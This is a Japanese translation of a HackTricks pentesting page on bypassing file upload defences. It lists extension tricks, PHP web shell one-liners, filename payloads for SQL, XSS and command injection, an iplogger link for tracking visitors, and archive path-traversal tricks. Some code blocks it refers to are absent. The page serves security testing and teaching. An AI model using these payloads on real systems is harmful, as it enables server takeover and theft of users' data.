File Upload
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F4226785378-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpWAf1y9UWEMh8PEO1vPV%252Fuploads%252Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%252Fimage%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=5e73f115&sv=1)
ハッキングキャリアに興味があり、ハッキング不可能なものをハッキングしたい方 - 私たちは採用しています! (流暢なポーランド語の読み書きが必要です)。
ファイルアップロード一般的な方法論
他の有用な拡張子:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
PHPv8での動作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
ファイル拡張子チェックのバイパス
適用される場合、前の拡張子をチェックします。また、いくつかの大文字を使用してテストします:pHp, .pHP5, .PhAr ...
実行拡張子の前に有効な拡張子を追加してチェックします(前の拡張子も使用):
file.png.php
file.png.Php5
特殊文字を末尾に追加してみてください。Burpを使用してすべてのasciiおよびUnicode文字をブルートフォースすることができます。 (前述の拡張子も試すことができます)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
サーバー側の拡張子パーサーをだまして保護をバイパスしてみてください。拡張子を二重にするか、ジャンクデータ(nullバイト)を拡張子の間に追加します。 前の拡張子を使用して、より良いペイロードを準備することもできます。
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
前のチェックに別の拡張子の層を追加します:
file.png.jpg.php
file.php%00.png%00.jpg
有効な拡張子の前にexec拡張子を置き、サーバーが誤って構成されていることを祈ります。(拡張子**.phpで終わらないが、.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます):
例: file.php.png
WindowsでのNTFS代替データストリーム(ADS)を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可されたものの前に挿入します。その結果、サーバー上に禁止された拡張子の空のファイルが作成されます(例:「file.asax:.jpg」)。このファイルは、他の技術を使用して後で編集することができます。::$dataパターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例:「file.asp::$data.」)
ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
Content-Type、マジックナンバー、圧縮およびリサイズのバイパス
Content-Typeチェックをバイパスするには、Content-Type ヘッダーの値を次のように設定します:image/png , text/plain , application/octet-stream
マジックナンバーチェックをバイパスするには、ファイルの先頭に実際の画像のバイトを追加します(_file_コマンドを混乱させます)。または、メタデータ内にシェルを挿入します:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
または、画像内にペイロードを直接挿入することもできます:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
圧縮が画像に追加されている場合、たとえば、PHP-GDのような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、PLTEチャンクここで定義された技術を使用して、圧縮を生き残るテキストを挿入できます。
ウェブページが画像をリサイズしている場合、たとえば、PHP-GD関数
imagecopyresized
またはimagecopyresampled
を使用している場合、前述の技術は役に立ちません。ただし、IDATチャンクここで定義された技術を使用して、圧縮を生き残るテキストを挿入できます。画像のリサイズを生き残るペイロードを作成するための別の技術として、PHP-GD関数
thumbnailImage
を使用します。ただし、tEXtチャンクここで定義された技術を使用して、圧縮を生き残るテキストを挿入できます。
その他のチェックするトリック
すでにアップロードされたファイルの名前を変更する脆弱性を見つけます(拡張子を変更するため)。
ローカルファイルインクルージョンの脆弱性を見つけてバックドアを実行します。
情報漏洩の可能性:
同じファイルを同時に何度もアップロードします。
既存のファイルまたはフォルダーの名前でファイルをアップロードします。
「.」、「..」、または「…」を名前に持つファイルをアップロードします。たとえば、ApacheのWindowsでは、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
NTFSで簡単に削除できないファイルをアップロードします(例:「…:.jpg」)。(Windows)
無効な文字(例:
|<>*?”
)を名前に持つファイルをWindowsにアップロードします。(Windows)予約された(禁止された)名前(例:CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9)を持つファイルをWindowsにアップロードします。
実行可能ファイル(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときにコードを実行することも試みてください。
特殊な拡張子のトリック
PHPサーバーにファイルをアップロードしようとしている場合、コードを実行するための**.htaccess**トリックを確認してください。 ASPサーバーにファイルをアップロードしようとしている場合、コードを実行するための**.config**トリックを確認してください。
.phar
ファイルはJavaの.jar
のようなもので、PHP用であり、PHPファイルのように使用できます(PHPで実行したり、スクリプト内に含めたりすることができます...)。
.inc
拡張子は、ファイルをインポートするためだけに使用されるPHPファイルに時々使用されるため、ある時点で誰かがこの拡張子を実行可能にした可能性があります。
Jetty RCE
JettyサーバーにXMLファイルをアップロードできる場合、新しい*.xmlおよび*.warが自動的に処理されるためRCEを取得できます。 次の画像で述べたように、XMLファイルを$JETTY_BASE/webapps/
にアップロードし、シェルを期待してください!
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F4226785378-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpWAf1y9UWEMh8PEO1vPV%252Fuploads%252Fgit-blob-4f2d7d1408ac9a25ff9543c2e7b7f115b5a0af55%252Fimage%2520%281047%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=bc4862f5&sv=1)
uWSGI RCE
この脆弱性の詳細な調査については、元の研究を確認してください:uWSGI RCEの悪用。
リモートコマンド実行(RCE)脆弱性は、.ini
構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むための特定の構文を利用します。特に、@(filename)
として使用される@
演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、.ini
構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
以下は、さまざまなスキームを示す有害なuwsgi.ini
ファイルの例です:
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げることができます。
wget File Upload/SSRF Trick
場合によっては、サーバーが**wget
を使用してファイルをダウンロードしており、URLを指定できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、このチェックは回避可能です。
linuxにおけるファイル名の最大長は255ですが、wgetはファイル名を236文字に切り詰めます。"A"*232+".php"+".gif"という名前のファイルをダウンロードできます。このファイル名はチェックを回避します(この例では".gif"は有効な拡張子です)が、wget
はファイルを"A"*232+".php"に名前変更**します。
注意してください。別のオプションとして、このチェックをバイパスするために考えているかもしれないのは、HTTPサーバーが別のファイルにリダイレクトすることです。そうすれば、最初のURLはチェックをバイパスし、その後wgetが新しい名前のリダイレクトされたファイルをダウンロードします。これは、wgetが --trust-server-names
パラメータを使用していない限り 機能しません。なぜなら、wgetは元のURLに示されたファイル名でリダイレクトされたページをダウンロードするからです。
ツール
Upload Bypass は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。
ファイルアップロードから他の脆弱性へ
filenameを
../../../tmp/lol.png
に設定してパス・トラバーサルを試みるfilenameを
sleep(10)-- -.jpg
に設定すると、SQLインジェクションを達成できるかもしれませんfilenameを
<svg onload=alert(document.domain)>
に設定してXSSを達成するfilenameを
; sleep 10;
に設定してコマンドインジェクションをテストする(他のコマンドインジェクションのトリックはこちら)JSファイルアップロード + XSS = Service Workersの悪用
https://github.com/allanlw/svg-cheatsheetから異なるsvgペイロードを試す****
URLから画像を取得するようにWebサーバーを指示できる場合、SSRFを悪用することを試みることができます。この画像が公開サイトに保存される場合、https://iplogger.org/invisible/からのURLを指定して、すべての訪問者の情報を盗むこともできます。
特別に作成されたPDFでXSS: 以下のページは、PDFデータを注入してJS実行を取得する方法を示しています。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
[eicar](https://secure.eicar.org/eicar.com.txt)の内容をアップロードして、サーバーにウイルス対策があるかどうかを確認する
ファイルをアップロードする際にサイズ制限があるかどうかを確認する
以下は、アップロードによって達成できることのトップ10リストです(こちらから):
ASP / ASPX / PHP5 / PHP / PHP3: Webシェル / RCE
SVG: ストレージXSS / SSRF / XXE
GIF: ストレージXSS / SSRF
CSV: CSVインジェクション
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTMLインジェクション / XSS / オープンリダイレクト
PNG / JPEG: ピクセルフラッド攻撃 (DoS)
ZIP: LFI経由のRCE / DoS
PDF / PPTX: SSRF / BLIND XXE
Burp拡張
マジックヘッダーバイト
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
他のファイルタイプについては、https://en.wikipedia.org/wiki/List_of_file_signaturesを参照してください。
Zip/Tarファイルの自動解凍アップロード
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます:
シンリンク
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします:
異なるフォルダに展開する
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
そのようなファイルを作成するための自動化されたエクスプロイトは、evilarc on GitHubで入手可能です。このユーティリティは次のように使用できます:
さらに、evilarcを使ったシンボリックリンクトリックも選択肢です。目的が/flag.txt
のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
圧縮を悪用したファイルスプレー
詳細については、元の投稿を確認してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
PHPシェルの作成: PHPコードは、
$_REQUEST
変数を通じて渡されたコマンドを実行するように書かれています。
ファイルスプレーと圧縮ファイルの作成: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
Hexエディタまたはviによる修正: zip内のファイル名はviまたはhexエディタを使用して変更され、「xxA」を「../」に変更してディレクトリを横断します。
ImageTragic
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します (ImageMagick , 7.0.1-1) (元のエクスプロイト)
PNGにPHPシェルを埋め込む
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDのimagecopyresized
およびimagecopyresampled
関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: "PNG IDATチャンクにおけるWebシェルのエンコーディング"。このリソースは、プロセスとその影響について包括的な理解を提供します。
詳細情報は: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
ポリグロットファイル
ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例として、GIFARがあります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、またはPharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットが同時にPHARファイル(PHp ARchive)とJPEGを具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
詳細情報は: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
参考文献
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F4226785378-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpWAf1y9UWEMh8PEO1vPV%252Fuploads%252Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%252Fimage%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=5e73f115&sv=1)
あなたがハッキングキャリアに興味があり、アンハッカブルなものをハックしたいなら - 私たちは採用しています! (流暢なポーランド語の読み書きが必要です)。
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated